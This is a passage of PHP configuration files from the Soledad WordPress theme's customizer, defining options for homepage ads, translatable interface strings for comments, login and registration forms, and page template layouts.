	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Add More &lt;H1&gt; Tag for Homepage', 'soledad' ),
	'id'          => 'penci_home_h1content',
	'description' => __( 'Write content for &lt;H1&gt; tag here', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'In-Feed Ads on Latest Posts', 'soledad' ),
	'id'       => 'penci_heading_infeed_ads_home',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'absint',
	'label'    => __( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
	'id'       => 'penci_infeedads_home_num',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_infeedads_home_num',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'In-feed Ads Code/HTML', 'soledad' ),
	'description' => __( 'Please use normal responsive ads here to get the best results - the in-feed ads can\'t work with auto-ads because auto-ads will randomly place your ads on random places on the pages.', 'soledad' ),
	'id'          => 'penci_infeedads_home_code',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'In-feed Ads Layout Type', 'soledad' ),
	'id'       => 'penci_infeedads_home_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''     => __( 'Follow Current Layout', 'soledad' ),
		'full' => __( 'Full Width', 'soledad' ),
	)
);

return $options;
PK     N\ļOWj  j  R  inc/customizer/config/sections/pencidesign_new_section_transition_lang_section.phpnu [        <?php
$options = [];
/* Add Options */
$options[] = array(
	'default'  => 'Type and hit enter...',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Type and hit enter..."', 'soledad' ),
	'id'       => 'penci_trans_type_and_hit',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'read',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "read" - suffix of reading time', 'soledad' ),
	'id'       => 'penci_trans_read',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'views',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "views"', 'soledad' ),
	'id'       => 'penci_trans_countviews',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'ago',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "ago" after Time Ago Format', 'soledad' ),
	'id'       => 'penci_trans_tago',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Add Text Before Time Ago Format', 'soledad' ),
	'id'       => 'penci_trans_beforeago',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Published:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Published:"', 'soledad' ),
	'id'       => 'penci_trans_published',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Updated:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Updated:"', 'soledad' ),
	'id'       => 'penci_trans_modifiedat',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'comment',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "comment"', 'soledad' ),
	'id'       => 'penci_trans_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'     => 'comments',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Text: "comments"', 'soledad' ),
	'description' => __( 'for plural of comments', 'soledad' ),
	'id'          => 'penci_trans_comments',
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Reply',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Reply"', 'soledad' ),
	'id'       => 'penci_trans_reply_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Edit',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Edit"', 'soledad' ),
	'id'       => 'penci_trans_edit_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Your comment is awaiting approval',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Your comment is awaiting approval"', 'soledad' ),
	'id'       => 'penci_trans_wait_approval_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Save my name, email, and website in this browser for the next time I comment.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Save my name, email, and website in this browser for the next time I comment."', 'soledad' ),
	'id'       => 'penci_trans_save_fields',
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => 'by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "by"', 'soledad' ),
	'id'       => 'penci_trans_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Home',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Home"', 'soledad' ),
	'id'       => 'penci_trans_home',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Newer Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Newer Posts"', 'soledad' ),
	'id'       => 'penci_trans_newer_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Older Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Older Posts"', 'soledad' ),
	'id'       => 'penci_trans_older_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Load More Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Load More Posts"', 'soledad' ),
	'id'       => 'penci_trans_load_more_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Load More Items',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Load More Items"', 'soledad' ),
	'id'       => 'penci_trans_load_more_items',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Load More Comments',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Load More Comments"', 'soledad' ),
	'id'       => 'penci_trans_load_more_comments',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, No more posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, No more posts"', 'soledad' ),
	'id'       => 'penci_trans_no_more_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, No more items',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, No more items"', 'soledad' ),
	'id'       => 'penci_trans_no_more_items',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, No more comments',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, No more comments"', 'soledad' ),
	'id'       => 'penci_trans_no_more_comments',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, No comments found.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, No comments found."', 'soledad' ),
	'id'       => 'penci_trans_no_comments',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'All',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "All"', 'soledad' ),
	'id'       => 'penci_trans_all',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Close',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Close"', 'soledad' ),
	'id'       => 'penci_trans_close',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Back To Top',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Back To Top"', 'soledad' ),
	'id'       => 'penci_trans_back_to_top',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'written by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "written by"', 'soledad' ),
	'id'       => 'penci_trans_written_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Updated by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Updated by"', 'soledad' ),
	'id'       => 'penci_trans_updated_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Reviewed by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Reviewed by"', 'soledad' ),
	'id'       => 'penci_trans_reviewed_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Edited by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Edited by"', 'soledad' ),
	'id'       => 'penci_trans_edited_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Revised by',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Revised by"', 'soledad' ),
	'id'       => 'penci_trans_revised_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default' => 'You Might Be Interested In',
	'label'   => __( 'Text: "You Might Be Interested In"', 'soledad' ),
	'id'      => 'penci_inlinerp_title',
	'type'    => 'soledad-fw-text',
);
$options[] = array(
	'default' => 'Author Profile',
	'label'   => __( 'Text: "Author Profile"', 'soledad' ),
	'id'      => 'penci_trans_author_profile',
	'type'    => 'soledad-fw-text',
);
$options[] = array(
	'default' => 'Posts by the Author',
	'label'   => __( 'Text: "Posts by the Author"', 'soledad' ),
	'id'      => 'penci_trans_author_related',
	'type'    => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'previous post',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "previous post"', 'soledad' ),
	'id'       => 'penci_trans_previous_post',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'next post',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "next post"', 'soledad' ),
	'id'       => 'penci_trans_next_post',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'You may also like',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Related Posts Custom Text', 'soledad' ),
	'id'       => 'penci_post_related_text',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Read also',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Read also"', 'soledad' ),
	'id'       => 'penci_rltpopup_heading_text',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Next',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Next"', 'soledad' ),
	'id'       => 'penci_trans_next',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Back',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Back"', 'soledad' ),
	'id'       => 'penci_trans_back',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'K',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "K" (Stands for Thousands)', 'soledad' ),
	'id'       => 'penci_trans_k_number',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'M',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "M" (Stands for Millions)', 'soledad' ),
	'id'       => 'penci_trans_m_number',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Bookmark',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Bookmark"', 'soledad' ),
	'id'       => 'penci_trans_bookmark',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'A+',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "A+"', 'soledad' ),
	'id'       => 'penci_trans_a1',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'A-',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "A-"', 'soledad' ),
	'id'       => 'penci_trans_a2',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Reset',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Reset"', 'soledad' ),
	'id'       => 'penci_trans_reset',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sponsored',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sponsored"', 'soledad' ),
	'id'       => 'penci_trans_sponsored',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sponsored by:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sponsored by:"', 'soledad' ),
	'id'       => 'penci_trans_sponsored_by',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Name*',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Name*"', 'soledad' ),
	'id'       => 'penci_trans_name',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Email*',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Email*"', 'soledad' ),
	'id'       => 'penci_trans_email',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Website',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Website"', 'soledad' ),
	'id'       => 'penci_trans_website',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Your Comment',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Your Comment"', 'soledad' ),
	'id'       => 'penci_trans_your_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Leave a Comment',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Leave a Comment"', 'soledad' ),
	'id'       => 'penci_trans_leave_a_comment',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Cancel Reply',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Cancel Reply"', 'soledad' ),
	'id'       => 'penci_trans_cancel_reply',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Submit',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Submit"', 'soledad' ),
	'id'       => 'penci_trans_submit',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Category:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Category:"', 'soledad' ),
	'id'       => 'penci_trans_category',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Continue Reading',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Continue Reading"', 'soledad' ),
	'id'       => 'penci_trans_continue_reading',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Read more',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Read more"', 'soledad' ),
	'id'       => 'penci_trans_read_more',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'View All',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "View All"', 'soledad' ),
	'id'       => 'penci_trans_view_all',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Tag:',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Tag:"', 'soledad' ),
	'id'       => 'penci_trans_tag',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Tags',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Tags"', 'soledad' ),
	'id'       => 'penci_trans_tags',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Posts tagged with',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Posts tagged with"', 'soledad' ),
	'id'       => 'penci_trans_posts_tagged',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Author',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Author"', 'soledad' ),
	'id'       => 'penci_trans_author',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Daily Archives',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Daily Archives"', 'soledad' ),
	'id'       => 'penci_trans_daily_archives',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Monthly Archives',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Monthly Archives"', 'soledad' ),
	'id'       => 'penci_trans_monthly_archives',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Yearly Archives',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Yearly Archives"', 'soledad' ),
	'id'       => 'penci_trans_yearly_archives',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Archives',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Archives"', 'soledad' ),
	'id'       => 'penci_trans_archives',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Search',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Search"', 'soledad' ),
	'id'       => 'penci_trans_search',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Search results for',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Search results for"', 'soledad' ),
	'id'       => 'penci_trans_search_results_for',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Share',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Share"', 'soledad' ),
	'id'       => 'penci_trans_share',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Comments are closed.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Comments are closed."', 'soledad' ),
	'id'       => 'penci_trans_comments_closed',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Sorry, but nothing matched your search terms. Please try again with some different keywords.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Sorry, but nothing matched your search terms. Please try again with some different keywords."', 'soledad' ),
	'id'       => 'penci_trans_search_not_found',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Back to Home Page',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Back to Home Page"', 'soledad' ),
	'id'       => 'penci_trans_back_to_homepage',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Recent',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Recent"', 'soledad' ),
	'id'       => 'penci_trans_recent',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Popular',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Popular"', 'soledad' ),
	'id'       => 'penci_trans_popular',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Post',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Post"', 'soledad' ),
	'id'       => 'penci_trans_post',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Posts',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Posts"', 'soledad' ),
	'id'       => 'penci_trans_posts',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'No results',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "No results"', 'soledad' ),
	'id'       => 'penci_trans_npostfound',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'Show all results',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "Show all results"', 'soledad' ),
	'id'       => 'penci_trans_allresult',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => 'minutes',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Text: "minutes"', 'soledad' ),
	'id'       => 'penci_trans_minutes',
	'type'     => 'soledad-fw-text',
);

$new_translates = array(
	'penci_trans_followers'       => esc_html__( "Followers", 'soledad' ),
	'penci_trans_follow'          => esc_html__( "Follow", 'soledad' ),
	'penci_trans_following'       => esc_html__( "Following", 'soledad' ),
	'penci_trans_likes'           => esc_html__( "Likes", 'soledad' ),
	'penci_trans_showing_result'  => __( 'Showing {{value}}-{{value}} of {{value}} post results', 'soledad' ),
	'penci_trans_sort_latest'     => __( 'Sort by latest', 'soledad' ),
	'penci_trans_sort_older'      => __( 'Sort by older', 'soledad' ),
	'penci_trans_no_content'      => __( 'No Content Available', 'soledad' ),
	'penci_trans_my_account'      => __( 'My Account', 'soledad' ),
	'penci_trans_edit_account'    => __( 'Edit Account', 'soledad' ),
	'penci_trans_change_password' => __( 'Change Password', 'soledad' ),
	'penci_trans_oldpassword'     => __( 'Old Password', 'soledad' ),
	'penci_trans_newpassword'     => __( 'New Password', 'soledad' ),
	'penci_trans_cpassword'       => __( 'Confirm Password', 'soledad' ),
	'penci_trans_cimage'          => __( 'Choose Image', 'soledad' ),
	'penci_trans_admedia'         => __( 'Add Media', 'soledad' ),
	'penci_trans_insert'          => __( 'Insert', 'soledad' ),
	'penci_trans_newest'          => __( 'Newest', 'soledad' ),
	'penci_trans_oldest'          => __( 'Oldest', 'soledad' ),
	'penci_trans_mostviewed'      => __( 'Most Viewed', 'soledad' ),
	'penci_trans_mostcommented'   => __( 'Most Commented', 'soledad' ),
	'penci_trans_sources'         => __( 'Sources', 'soledad' ),
	'penci_trans_smonth'  		  => __( 'Select Month', 'soledad' ),
);
foreach ( $new_translates as $new_translate_id => $new_translate_label ) {
	$options[] = array(
		'default'  => $new_translate_label,
		'sanitize' => 'sanitize_text_field',
		'label'    => __( 'Text: "' . $new_translate_label . '"', 'soledad' ),
		'id'       => $new_translate_id,
		'type'     => 'soledad-fw-text',
	);
}
$options[]      = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Login/Register Form', 'soledad' ),
	'id'       => 'penci_loginform_heading',
	'type'     => 'soledad-fw-header',
);
$login_register = array(
	'penci_trans_hello_text'             => esc_html__( 'Hello', 'soledad' ),
	'penci_trans_dashboard_text'         => esc_html__( 'Dashboard', 'soledad' ),
	'penci_trans_profile_text'           => esc_html__( 'Profile', 'soledad' ),
	'penci_trans_logout_text'            => esc_html__( 'Logout', 'soledad' ),
	'penci_trans_sign_in'                => esc_html__( 'Sign In', 'soledad' ),
	'penci_trans_register_new_account'   => esc_html__( 'Register New Account', 'soledad' ),
	'penci_trans_recover_pass'           => esc_html__( 'Password Recovery', 'soledad' ),
	'penci_trans_usernameemail_text'     => esc_html__( 'Username or email', 'soledad' ),
	'penci_plogin_email_place'           => esc_html__( 'Email Address', 'soledad' ),
	'penci_trans_pass_text'              => esc_html__( 'Password', 'soledad' ),
	'penci_plogin_label_remember'        => esc_html__( 'Keep me signed in until I sign out', 'soledad' ),
	'penci_plogin_label_log_in'          => esc_html__( 'Login to your account', 'soledad' ),
	'penci_plogin_label_lostpassword'    => esc_html__( 'Forgot your password?', 'soledad' ),
	'penci_plogin_text_has_account'      => esc_html__( 'Do not have an account ?', 'soledad' ),
	'penci_plogin_label_registration'    => esc_html__( 'Register here', 'soledad' ),
	'penci_plogin_validate_robot'        => esc_html__( 'Please validate you are not robot.', 'soledad' ),
	'penci_plogin_wrong'                 => esc_html__( 'Wrong username or password', 'soledad' ),
	'penci_plogin_success'               => esc_html__( 'Login successful, redirecting...', 'soledad' ),
	'penci_preset_submit'                => esc_html__( 'Send My Password', 'soledad' ),
	'penci_preset_desc'                  => esc_html__( 'A new password will be emailed to you.', 'soledad' ),
	'penci_preset_received'              => esc_html__( 'Have received a new password?', 'soledad' ),
	'penci_preset_noemail'               => esc_html__( 'There is no user registered with that email.', 'soledad' ),
	'penci_preset_from'                  => esc_html__( 'From:', 'soledad' ),
	'penci_preset_newpassis'             => esc_html__( 'Your new password is:', 'soledad' ),
	'penci_preset_checkinbox'            => esc_html__( 'Check your email address to get the new password.', 'soledad' ),
	'penci_preset_cantsend'              => esc_html__( 'The email could not be sent. Possible reason: your host may have disabled the mail() function.', 'soledad' ),
	'penci_preset_somethingwrong'        => esc_html__( 'Oops! Something went wrong while updating your account.', 'soledad' ),
	'penci_pregister_first_name'         => esc_html__( 'First Name', 'soledad' ),
	'penci_pregister_last_name'          => esc_html__( 'Last Name', 'soledad' ),
	'penci_pregister_user_name'          => esc_html__( 'Username', 'soledad' ),
	'penci_pregister_user_email'         => esc_html__( 'Email address', 'soledad' ),
	'penci_pregister_user_phone'         => esc_html__( 'Phone Number', 'soledad' ),
	'penci_pregister_user_pass'          => esc_html__( 'Password', 'soledad' ),
	'penci_pregister_pass_confirm'       => esc_html__( 'Confirm Password', 'soledad' ),
	'penci_pregister_button_submit'      => esc_html__( 'Sign up new account', 'soledad' ),
	'penci_pregister_has_account'        => esc_html__( 'Have an account?', 'soledad' ),
	'penci_pregister_label_registration' => esc_html__( 'Login here', 'soledad' ),
	'penci_plogin_mess_invalid_email'    => esc_html__( 'Invalid email.', 'soledad' ),
	'penci_plogin_mess_error_email_pass' => esc_html__( 'Password does not match the confirm password', 'soledad' ),
	'penci_plogin_mess_username_reg'     => esc_html__( 'This username is already registered.', 'soledad' ),
	'penci_plogin_mess_email_reg'        => esc_html__( 'This email address is already registered.', 'soledad' ),
	'penci_plogin_mess_wrong_email_pass' => esc_html__( 'Wrong username or password.', 'soledad' ),
	'penci_plogin_mess_reg_succ'         => esc_html__( 'Registered successful, redirecting...', 'soledad' ),
	'penci_pregister_cinfo'              => esc_html__( 'Contact Info', 'soledad' ),
	'penci_pregister_about'              => esc_html__( 'About Yourself', 'soledad' ),
	'penci_pregister_binfo'              => esc_html__( 'Biographical Info', 'soledad' ),
	'penci_pregister_picture'            => esc_html__( 'Profile Picture', 'soledad' ),
	'penci_pregister_display_name'       => esc_html__( 'Display Name', 'soledad' ),
	'penci_trans_error_empty'            => esc_html__( 'Please fill in all the required fields.', 'soledad' ),
	'penci_trans_error_noemail'          => esc_html__( 'Please enter a valid e-mail.', 'soledad' ),
	'penci_trans_error_same_as_admin'    => esc_html__( 'You can not use this e-mail due to security issues.', 'soledad' ),
	'penci_trans_error_spam_email'       => esc_html__( 'You are trying to send e-mail by banned e-mail. Multiple tries can ban you permanently!', 'soledad' ),
	'penci_trans_result'                 => esc_html__( 'Unknown error! Please check your settings.', 'soledad' ),
	'penci_trans_email_success'          => esc_html__( 'Hi, %s. We got your e-mail. We\'ll reply you very soon. Thanks for being with us...', 'soledad' ),
	'penci_pregister_agree'              => esc_html__( 'I Agree to the Terms of Service and Privacy Policy', 'soledad' ),
	'penci_trans_search_title'           => esc_html__( 'What Are You Looking For?', 'soledad' ),
	'penci_trans_reactions_title'        => esc_html__( 'Have any thoughts?', 'soledad' ),
	'penci_trans_reactions_desc'         => esc_html__( 'Share your reaction or leave a quick response — we’d love to hear what you think!', 'soledad' ),
);
foreach ( $login_register as $login_register_id => $login_register_label ) {
	$type = 'text';
	if ( $login_register_id == 'penci_pregister_agree' ) {
		$type = 'textarea';
	}
	$options[] = array(
		'default'  => $login_register_label,
		'sanitize' => 'sanitize_text_field',
		'label'    => __( 'Text: "' . $login_register_label . '"', 'soledad' ),
		'id'       => $login_register_id,
		'type'     => 'soledad-fw-' . $type,
	);
}

// comment ratings
$comment_ratings = [
	'penci_overall_rating' => __( 'Your rating:', 'soledad' ),
	'penci_summarize'      => __( 'Your review title', 'soledad' ),
	'penci_your_review'    => __( 'Your Review', 'soledad' ),
	'penci_review_desc'    => __( 'Tell about your experience or leave a tip for others', 'soledad' ),
	'penci_review_submit'  => __( 'Submit your Review', 'soledad' ),
	'penci_review_title'   => __( 'Review Title', 'soledad' ),
	'penci_review_ratings' => __( 'Rating:', 'soledad' ),
];
$options[]       = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Comment Rating Form', 'soledad' ),
	'id'       => 'penci_cmrating_heading',
	'type'     => 'soledad-fw-header',
);
foreach ( $comment_ratings as $c_id => $c_label ) {
	$options[] = array(
		'default'  => $c_label,
		'sanitize' => 'sanitize_text_field',
		'label'    => __( 'Text: "' . $c_label . '"', 'soledad' ),
		'id'       => $c_id,
		'type'     => 'soledad-fw-text',
	);
}

return $options;
PK     N\7SR    F  inc/customizer/config/sections/penci_section_spage_general_section.phpnu [        <?php
$options         = [];
$options[]       = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Page Default Template Layout', 'soledad' ),
	'id'          => 'penci_page_default_template_layout',
	'description' => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/images/template.png">this image</a> to know how to change Template of a page.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''              => __( 'No Sidebar with Container', 'soledad' ),
		'small-width'   => __( 'No Sidebar with Smaller Container Width', 'soledad' ),
		'right-sidebar' => __( 'Page with Right Sidebar', 'soledad' ),
		'left-sidebar'  => __( 'Page with Left Sidebar', 'soledad' ),
		'two-sidebar'   => __( 'Page with Two Sidebars', 'soledad' )
	)
);
$options[]       = array(
	'default'  => '900',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Width for "Page No Sidebar with Smaller Container Width"', 'soledad' ),
	'id'       => 'penci_page_custom_width',
	'ids'      => array(
		'desktop' => 'penci_page_custom_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '900',
		),
	),
);
$options[]       = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Featured Image Auto Appears', 'soledad' ),
	'id'       => 'penci_page_hide_featured_image',
